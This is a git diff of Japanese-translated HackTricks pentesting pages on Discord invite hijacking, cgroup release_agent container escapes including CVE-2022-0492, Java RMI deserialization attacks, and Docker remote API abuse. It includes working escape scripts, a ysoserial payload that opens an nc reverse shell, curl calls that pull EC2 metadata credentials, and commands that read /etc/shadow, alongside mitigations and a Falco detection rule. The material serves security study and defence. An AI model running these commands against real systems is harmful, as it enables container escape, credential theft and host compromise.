Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:27:04 +00:00
parent 2094ee78d8
commit 81c046cc5e
7 changed files with 159 additions and 87 deletions

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Discordの招待システムの脆弱性により、脅威アクターは期限切れまたは削除された招待コード一時的、永久的、またはカスタムバニティを新しいバニティリンクとして主にレベル3ブーストされたサーバーで主張することができます。すべてのコードを小文字に正規化することで、攻撃者は既知の招待コードを事前に登録し、元のリンクが期限切れになるか、ソースサーバーがブーストを失うと静かにトラフィックをハイジャックできます。
Discordの招待システムの脆弱性により、脅威アクターは期限切れまたは削除された招待コード一時的、永久的、またはカスタムバニティを新しいバニティリンクとして主にレベル3ブーストされたサーバーで主張することができます。すべてのコードを小文字に正規化することで、攻撃者は既知の招待コードを事前に登録し、元のリンクが期限切れになるか、ソースサーバーがブーストを失ったときに静かにトラフィックをハイジャックできます。
## 招待タイプとハイジャックリスク
@ -18,13 +18,13 @@ Discordの招待システムの脆弱性により、脅威アクターは期限
- 公共のソースフォーラム、ソーシャルメディア、Telegramチャンネル`discord.gg/{code}`または`discord.com/invite/{code}`のパターンに一致する招待リンクを監視します。
- 興味のある招待コード(一時的またはバニティ)を収集します。
2. 事前登録
- レベル3ブースト権を持つDiscordサーバーを作成するか、既存のサーバーを使用します。
- レベル3ブースト権を持つDiscordサーバーを作成するか、既存のサーバーを使用します。
- **サーバー設定 → バニティURL**で、ターゲット招待コードを割り当てようとします。受け入れられた場合、そのコードは悪意のあるサーバーによって予約されます。
3. ハイジャックのアクティベーション
- 一時的招待の場合、元の招待が期限切れになるまで待ちます(または、ソースを制御している場合は手動で削除します)。
- 大文字を含むコードの場合、小文字のバリアントはすぐに主張できますが、リダイレクトは期限切れ後にのみアクティブになります。
4. 静かなリダイレクション
- ハイジャックがアクティブになると、古いリンクを訪れるユーザーは攻撃者が制御するサーバーにシームレスに送信されます。
- 古いリンクを訪れるユーザーは、ハイジャックがアクティブになると、攻撃者が制御するサーバーにシームレスに送信されます。
## Discordサーバーを介したフィッシングフロー
@ -50,12 +50,12 @@ navigator.clipboard.writeText(cmd);
- 少なくとも1つの大文字または非英数字を含む永久的な招待リンクを使用する期限切れにならず、再利用不可
- 定期的に招待コードをローテーションし、古いリンクを無効にする。
- Discordサーバーのブースト状況とバニティURLの主張を監視する。
- ユーザーにサーバーの信頼性を確認し、クリップボードから貼り付けたコマンドを実行しないよう教育する。
- DiscordサーバーのブーストステータスとバニティURLの主張を監視する。
- ユーザーにサーバーの真正性を確認し、クリップボードから貼り付けたコマンドを実行しないよう教育する。
## 参考文献
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,11 @@
{{#include ../../../../banners/hacktricks-training.md}}
**詳細については、** [**元のブログ記事**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です:
**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です:
Original PoC:
---
## クラシック PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
概念実証PoCは、`release_agent`ファイルを作成し、その呼び出しをトリガーしてコンテナホスト上で任意のコマンドを実行することでcgroupsを悪用する方法を示しています。以下は、関与するステップの内訳です
The PoCは**cgroup-v1**の`release_agent`機能を悪用します:`notify_on_release=1`のcgroupの最後のタスクが終了すると、カーネル**ホストの初期名前空間内で**)は、書き込み可能なファイル`release_agent`に保存されているプログラムのパスを実行します。**ホスト上でフルルート権限で実行されるため**、ファイルへの書き込みアクセスを得ることができれば、コンテナの脱出が可能です。
### 短く読みやすい手順
1. **新しいcgroupを準備する**
1. **環境の準備:**
- `/tmp/cgrp`というディレクトリが作成され、cgroupのマウントポイントとして機能します。
- RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりに`memory` cgroupコントローラーを使用することが推奨されます。
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **子Cgroupの設定:**
- マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。
- 「x」Cgroupのnotify_on_releaseファイルに1を書き込むことで通知が有効になります。
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # または o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **リリースエージェントの設定:**
- ホスト上のコンテナのパスは、/etc/mtabファイルから取得されます。
- 次に、cgroupのrelease_agentファイルが、取得したホストパスにある/cmdという名前のスクリプトを実行するように設定されます。
2. **`release_agent`を攻撃者が制御するホスト上のスクリプトにポイントする**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **/cmd スクリプトの作成と設定:**
- /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output というファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。
3. **ペイロードをドロップする**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **攻撃をトリガーする:**
- "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。
- これにより `release_agent`/cmd スクリプト)がトリガーされ、ホスト上で ps aux を実行し、その出力をコンテナ内の /output に書き込みます。
4. **通知をトリガーする**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # 自分自身を追加し、すぐに終了する
cat /output # 現在ホストプロセスを含む
```
---
## 2022年のカーネル脆弱性 CVE-2022-0492
2022年2月、Yiqi SunとKevin Wangは、**カーネルがcgroup-v1の`release_agent`に書き込む際に能力を検証しなかったことを発見しました**(関数`cgroup_release_agent_write`)。
実際には、**cgroup階層をマウントできる任意のプロセス`unshare -UrC`を介して)は、*初期*ユーザー名前空間内で`CAP_SYS_ADMIN`なしに`release_agent`に任意のパスを書き込むことができました**。デフォルト設定のルート実行のDocker/Kubernetesコンテナでは、これにより以下が可能になりました
* ホスト上でのルートへの権限昇格;↗
* コンテナが特権でない状態でのコンテナ脱出。
この欠陥は**CVE-2022-0492**CVSS 7.8 / 高)として割り当てられ、次のカーネルリリース(およびそれ以降)で修正されました:
* 5.16.2、5.15.17、5.10.93、5.4.176、4.19.228、4.14.265、4.9.299。
パッチコミット:`1e85af15da28 "cgroup: Fix permission checking"`
### コンテナ内の最小限のエクスプロイト
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
カーネルが脆弱な場合、*ホスト*からのbusyboxバイナリはフルルートで実行されます。
### ハードニングと緩和策
* **カーネルを更新する** (≥ バージョン以上)。パッチは現在、`release_agent`に書き込むために*初期*ユーザー名前空間で`CAP_SYS_ADMIN`を必要とします。
* **cgroup-v2を優先する** 統一された階層は**`release_agent`機能を完全に削除し**、このクラスのエスケープを排除しました。
* **不要な特権のないユーザー名前空間を無効にする**ホストで:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **必須アクセス制御**: `mount``openat``/sys/fs/cgroup/**/release_agent`で拒否するAppArmor/SELinuxポリシー、または`CAP_SYS_ADMIN`を削除することで、脆弱なカーネルでもこの技術を防ぎます。
* **読み取り専用バインドマスク**すべての`release_agent`ファイルPalo Altoスクリプトの例
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## 実行時の検出
[`Falco`](https://falco.org/)はv0.32以降、組み込みルールを提供しています:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
ルールは、`*/release_agent` への書き込み試行が、まだ `CAP_SYS_ADMIN` を持つコンテナ内のプロセスから行われた場合にトリガーされます。
## 参考文献
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) 詳細な分析と緩和スクリプト。
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 基本情報
_Java Remote Method Invocation_、または _Java RMI_ は、1つの _Java仮想マシン_ にあるオブジェクトが別の _Java仮想マシン_ にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の _RPC_ メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの _Java RMI_ に関する簡単な紹介は [このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202) で見ることができます。
_Java Remote Method Invocation__Java RMI_は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの_Java RMI_の簡単な紹介は[このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。
**デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -22,7 +22,7 @@ _nmap_ は時々 _SSL_ 保護された _RMI_ サービスを特定するのに
簡単に言うと、_Java RMI_ は開発者が _Java object_ をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための _TCP_ ポートが開かれます。これが簡単に聞こえるにもかかわらず、_Java RMI_ が解決しなければならないいくつかの課題があります:
1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリッスンすることを許可するために必要です)。
1. _Java RMI_ を介してメソッド呼び出しをディスパッチするために、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリッスンすることを許可するために必要です)。
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガベージコレクトできるかを追跡する必要があります。
最初の課題は _RMI registry_ によって解決されます。これは基本的に _Java RMI_ のためのネーミングサービスです。_RMI registry_ 自体も _RMI service_ ですが、実装されたインターフェースと `ObjID` は固定されており、すべての _RMI_ クライアントによって知られています。これにより、_RMI_ クライアントは対応する _TCP_ ポートを知っているだけで _RMI_ レジストリを利用することができます。
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
列挙アクションの出力は、プロジェクトの[ドキュメンページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。
列挙アクションの出力は、プロジェクトの[ドキュメンテーションページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。
_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる可能性があります。
```
@ -140,7 +140,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信は _RMI_ デフォルトコンポーネントに対してデシリアライズフィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。それを踏まえると、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすること可能です。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。とはいえ、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすること可能です。
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -170,12 +170,12 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
特定されたメソッドは次のように呼び出すことができます
特定されたメソッドは次のように呼び出すことができます:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
また、このようにデシリアライズ攻撃を実行することもできます:
また、次のようにデシリアライズ攻撃を実行することもできます:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
推測することに加えて、検索エンジンや _GitHub_ で遭遇した _RMI_ サービスのインターフェースや実装を探すべきです。 _bound name_ と実装されたクラスまたはインターフェースの名前が役立つ場合があります。
推測することに加えて、検索エンジンや_GitHub_で遭遇した_RMI_サービスのインターフェースや実装を探すべきです。_bound name_と実装されたクラスまたはインターフェースの名前が役立つ場合があります。
## Known Interfaces
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI services_ のクラスまたはインターフェースを `known` としてマークします。これらの場合、対応する _RMI service_ に関する詳細情報を取得するために `known` アクションを使用できます:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースにリストされている場合、クラスやインターフェースを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks 自動コマンド
## HackTricks Automatic Commands
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.

View File

@ -6,15 +6,15 @@
#### とは
Dockerは**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来型**にわたるアプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。
Dockerは**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来的な**アプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。
#### 基本的なDockerアーキテクチャ
- [**containerd**](http://containerd.io): これはコンテナの**ライフサイクルの包括的な管理**を担当する**コアランタイム**です。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**を監督することが含まれます。**containerdに関する詳細な情報**は**さらに探求されます**。
- [**containerd**](http://containerd.io): これはコンテナの**ライフサイクルの包括的な管理**を担当する**コアランタイム**です。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**を監督することが含まれます。**containerdに関する詳細な洞察**は**さらに探求されます**。
- **container-shim**は、**ヘッドレスコンテナ**の処理において重要な役割を果たし、コンテナが初期化された後に**runc**からシームレスに引き継ぎます。
- [**runc**](http://runc.io): **軽量で汎用的なコンテナランタイム**機能で評価されているruncは、**OCI標準**に準拠しています。これは、**OCIガイドライン**に従ってコンテナを**起動および管理する**ためにcontainerdによって使用され、元の**libcontainer**から進化しました。
- [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進する**ために不可欠であり、**効率的な相互作用**を確保します。
- [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージの**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠しています**。
- [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進**するために不可欠であり、**効率的な相互作用**を確保します。
- [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠しています**。
#### 基本コマンド
```bash
@ -41,9 +41,9 @@ docker system prune -a
```
#### Containerd
**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を**簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化します。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。
**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を**簡素化すること**を目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化します。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。
重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキングSDNやサービスディスカバリーなどの複雑さはプラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームによってネットワーキングの側面を管理させます。
重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキングSDNやサービスディスカバリーなどの複雑さはプラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。
**DockerがContainerdを利用して**コンテナを実行する一方で、ContainerdはDockerの機能のサブセットのみをサポートしていることに注意が必要です。具体的には、ContainerdはDockerに存在するネットワーク管理機能を欠いており、Dockerスウォームの作成を直接サポートしていません。この違いは、Containerdがコンテナランタイム環境としての焦点を絞った役割を持ち、統合するプラットフォームにより専門的な機能を委任していることを強調しています。
```bash
@ -63,7 +63,7 @@ ctr container delete <containerName>
```
#### Podman
**Podman**は、Red Hatによって開発および維持されているオープンソースのコンテナエンジンで、[Open Container Initiative (OCI) standards](https://github.com/opencontainers)に準拠しています。**デーモンレスアーキテクチャ**や**ルートレスコンテナ**のサポートなど、Dockerとは異なるいくつかの特徴があります。これにより、ユーザーはルート権限なしでコンテナを実行できます。
**Podman**は、Red Hatによって開発および維持されているオープンソースのコンテナエンジンで、[Open Container Initiative (OCI) standards](https://github.com/opencontainers)に準拠しています。Dockerとは異なり、**デーモンレスアーキテクチャ**や**ルートレスコンテナ**のサポートなど、いくつかの独自の機能があります。これにより、ユーザーはルート権限なしでコンテナを実行できます。
PodmanはDockerのAPIと互換性があるように設計されており、Docker CLIコマンドを使用できます。この互換性は、コンテナイメージを構築するための**Buildah**や、プッシュ、プル、インスペクトなどのイメージ操作のための**Skopeo**などのツールを含むエコシステムにまで及びます。これらのツールの詳細は、[GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)で確認できます。
@ -75,8 +75,8 @@ PodmanはDockerのAPIと互換性があるように設計されており、Docke
Podmanのアプローチは、ユーザー権限管理と既存のDockerワークフローとの互換性を強調し、Dockerに対する安全で柔軟な代替手段を提供します。
> [!NOTE]
> podmanはdockerと同じAPIをサポートすることを目指しているため、以下のようにpodmanでdockerと同じコマンドを使用できます
> [!TIP]
> PodmanはDockerと同じAPIをサポートすることを目指しているため、次のようにPodmanでDockerと同じコマンドを使用できます
>
> ```bash
> podman --version
@ -87,7 +87,7 @@ Podmanのアプローチは、ユーザー権限管理と既存のDockerワー
### 基本情報
リモートAPIは、デフォルトで2375ポートで実行されます。サービスはデフォルトで認証を必要とせず、攻撃者が特権のあるdockerコンテナを起動できるようになります。リモートAPIを使用することで、ホストのルートディレクトリをコンテナにアタッチし、ホスト環境のファイルを読み書きできます。
リモートAPIは、デフォルトで2375ポートで実行されており、認証を必要としません。これにより、攻撃者は特権のあるDockerコンテナを起動できます。リモートAPIを使用することで、ホストの/ルートディレクトリをコンテナにアタッチし、ホスト環境のファイルを読み書きできます。
**デフォルトポート:** 2375
```
@ -136,7 +136,7 @@ GitCommit: fec3683
```
リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスとやり取りするために、以前にコメントされた**docker**の[**コマンド**](2375-pentesting-docker.md#basic-commands)を**実行**できます。
> [!NOTE]
> [!TIP]
> `export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**回避**できます。
**迅速な特権昇格**
@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
時々、**TLS** エンドポイント**2376** が稼働しているのを見かけます。docker クライアントで接続することはできませんでしたが、curl を使って接続することは可能です。
時々、**TLS** エンドポイント**2376** が表示されます。docker クライアントで接続することはできませんでしたが、curl を使って接続することは可能です。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -175,7 +175,7 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
この件についての詳細情報が必要な場合、コマンドをコピーした場所に詳細情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
この件についての詳細情報が必要な場合、コマンドをコピーした場所にさらに情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### 自動
```bash
@ -190,7 +190,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
これを悪用することで、コンテナから脱出することが可能です。リモートマシンで弱いコンテナを実行し、そから脱出してマシンをコンプロマイズすることができます:
これを悪用することで、コンテナから脱出することが可能です。リモートマシンで弱いコンテナを実行し、そから脱出してマシンをコンプロマイズすることができます:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
@ -212,7 +212,7 @@ docker inspect <docker_id>
- IPアドレス。
- ポート。
- パス。
- その他…
- その他…。
ファイルを抽出したい場合:
```bash
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `./docker-bench-security.sh`
- 現在のdockerインストールを検査するために、ツール[https://github.com/kost/dockscan](https://github.com/kost/dockscan)を使用できます。
- `dockscan -v unix:///var/run/docker.sock`
- 異なるセキュリティオプションで実行されるコンテナが持つ権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
- 異なるセキュリティオプションで実行されるコンテナ権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -239,7 +239,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Dockerfileのセキュリティ
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用できます。各誤設定にはIDが付与され、各誤設定の修正方法はここ[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)で確認できます。
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用できます。各誤設定にはIDが付与され、各誤設定の修正方法はここ[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)で見つけることができます。
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
